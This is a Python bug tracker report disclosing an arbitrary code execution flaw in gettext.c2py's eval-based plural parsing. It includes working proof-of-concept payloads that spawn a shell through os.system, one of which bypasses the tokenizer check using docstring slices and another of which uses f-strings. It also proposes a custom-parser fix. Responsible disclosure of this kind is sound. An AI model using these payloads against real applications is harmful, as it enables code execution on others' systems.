New submission from Carl Ekerot: The c2py-function in the gettext module is seriously flawed in many ways due to its use of eval to create a plural function:
return eval('lambda n: int(%s)' % plural) My first discovery was that nothing prevents an input plural string that resembles a function call: gettext.c2py("n()")(lambda: os.system("sh")) This is of course a low risk bug, since it requires control of both the plural function string and the argument. Gaining arbitrary code execution using only the plural function string requires that the security checks are bypassed. The security checks utilize the tokenize module and makes sure that no NAME-tokens that are not "n" exist in the string. However, it does not check if the parser succeeds without any token.ERRORTOKEN being present. Hence, the following input will pass the security checks: gettext.c2py( '"(eval(foo) && ""' )(0) ----> 1 gettext.c2py( '"(eval(foo) && ""' )(0) gettext.pyc in <lambda>(n) NameError: global name 'foo' is not defined It will pass since it recognizes the entire input as a STRING token, and subsequently fails with an ERRORTOKEN. Passing a string in the argument to eval will however break the exploit since the parser will read the start-of-string in the eval argument as end-of-string, and the eval argument will be read as a NAME-token. Instead of passing a string to eval, we can build a string from characters in the docstrings available in the context of the gettext module: gettext.c2py('"(eval(' 'os.__doc__[152:155] + ' # os. 'os.__doc__[46:52] + ' # system 'os.__doc__[318] + ' # ( 'os.__doc__[55] + ' # ' 'os.__doc__[10] + ' # s 'os.__doc__[42] + ' # h 'os.__doc__[55] + ' # ' 'os.__doc__[329]' # ) ') && ""')(0) This will successfully spawn a shell in Python 2.7.11. Bonus: With the new string interpolation in Python 3.7, exploiting gettext.c2py becomes trivial: gettext.c2py('f"{os.system(\'sh\')}"')(0) The tokenizer will recognize the entire format-string as just a string, thus bypassing the security checks. To mitigate these vulnerabilities, eval should be avoided by implementing a custom parser for the gettext plural function DSL. ---------- components: Library (Lib) messages: 279734 nosy: Carl Ekerot priority: normal severity: normal status: open title: Arbitrary code execution in gettext.c2py type: security versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7 _______________________________________ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue28563> _______________________________________ _______________________________________________ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com